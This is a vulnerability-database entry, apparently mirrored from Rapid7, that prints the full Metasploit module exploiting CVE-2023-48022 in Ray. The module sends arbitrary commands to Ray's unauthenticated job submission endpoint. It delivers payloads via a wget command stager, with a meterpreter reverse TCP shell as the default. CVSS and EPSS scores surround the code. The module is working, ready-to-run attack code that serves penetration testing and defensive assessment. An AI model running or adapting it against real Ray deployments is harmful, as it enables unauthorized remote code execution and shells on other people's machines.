Lucene search

K
metasploitSierrabearchell, byt3bl33d3r <[email protected]>, Takahiro YokoyamaMSF:EXPLOIT-LINUX-HTTP-RAY_AGENT_JOB_RCE-
HistoryAug 08, 2024 - 11:51 p.m.

Ray Agent Job RCE

2024-08-0823:51:14
sierrabearchell, byt3bl33d3r <[email protected]>, Takahiro Yokoyama
www.rapid7.com
12
ray
agent
job
rce
submission
endpoint
workloads
authentication
vulnerability
linux
command
python
metasploit
module
cve
2023-48022
huntr
stability
sideeffects
reliability
disclosuredate

CVSS3

9.8

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

AI Score

7.1

Confidence

Low

EPSS

0.717

Percentile

98.1%

RCE in Ray via the agent job submission endpoint. This is intended functionality as Ray’s main purpose is executing arbitrary workloads. By default Ray has no authentication.

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::CmdStager
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Ray Agent Job RCE',
        'Description' => %q{
          RCE in Ray via the agent job submission endpoint.
          This is intended functionality as Ray's main purpose is executing arbitrary workloads.
          By default Ray has no authentication.
        },
        'Author' => [
          'sierrabearchell',                      # Vulnerability discovery
          'byt3bl33d3r <[email protected]>', # Python Metasploit module
          'Takahiro Yokoyama'                     # Metasploit module
        ],
        'License' => MSF_LICENSE,
        'References' => [
          ['CVE', '2023-48022'],
          ['URL', 'https://huntr.com/bounties/b507a6a0-c61a-4508-9101-fceb572b0385/'],
          ['URL', 'https://huntr.com/bounties/787a07c0-5535-469f-8c53-3efa4e5717c7/']
        ],
        'CmdStagerFlavor' => %i[wget],
        'Payload' => {
          'DisableNops' => true
        },
        'Platform' => %w[linux],
        'Targets' => [
          [ 'Linux x64', { 'Arch' => ARCH_X64, 'Platform' => 'linux' } ],
          [ 'Linux x86', { 'Arch' => ARCH_X86, 'Platform' => 'linux' } ],
          [ 'Linux aarch64', { 'Arch' => ARCH_AARCH64, 'Platform' => 'linux' } ],
          [
            'Linux Command', {
              'Arch' => [ ARCH_CMD ], 'Platform' => [ 'unix', 'linux' ], 'Type' => :nix_cmd,
              'DefaultOptions' => {
                'PAYLOAD' => 'cmd/linux/http/x64/meterpreter_reverse_tcp',
                'FETCH_COMMAND' => 'WGET',
                'MeterpreterTryToFork' => true
              }
            }
          ]
        ],
        'DefaultTarget' => 0,
        'DisclosureDate' => '2023-11-15',
        'Notes' => {
          'Stability' => [ CRASH_SAFE, ],
          'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ],
          'Reliability' => [ REPEATABLE_SESSION, ]
        }
      )
    )

    register_options(
      [
        Opt::RPORT(8265),
      ]
    )
  end

  def get_job_data(cmd)
    res = send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'api/jobs/'),
      'data' => { 'entrypoint' => cmd }.to_json
    })
    unless res && res.code == 200
      res = send_request_cgi({
        'method' => 'POST',
        'uri' => normalize_uri(target_uri.path, 'api/job_agent/jobs/'),
        'data' => { 'entrypoint' => cmd }.to_json
      })
    end
    return unless res && res.code == 200

    JSON.parse(res.body)
  end

  def check
    res = send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'api/version')
    })
    return Exploit::CheckCode::Unknown unless res && res.code == 200

    ray_version = res.get_json_document['ray_version']

    return Exploit::CheckCode::Unknown unless ray_version

    return Exploit::CheckCode::Safe unless Rex::Version.new(ray_version) <= Rex::Version.new('2.6.3')

    @job_data = get_job_data('ls')
    return Exploit::CheckCode::Vulnerable unless @job_data.nil?

    Exploit::CheckCode::Appears
  end

  def exploit
    @job_data ||= get_job_data('ls')
    if @job_data
      print_good("Command execution successful. Job ID: '#{@job_data['job_id']}' Submission ID: '#{@job_data['submission_id']}'")
    end
    case target['Type']
    when :nix_cmd
      execute_command(payload.encoded)
    else
      execute_cmdstager({ flavor: :wget })
    end
  end

  def execute_command(cmd, _opts = {})
    get_job_data(cmd)
  end

end

CVSS3

9.8

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

AI Score

7.1

Confidence

Low

EPSS

0.717

Percentile

98.1%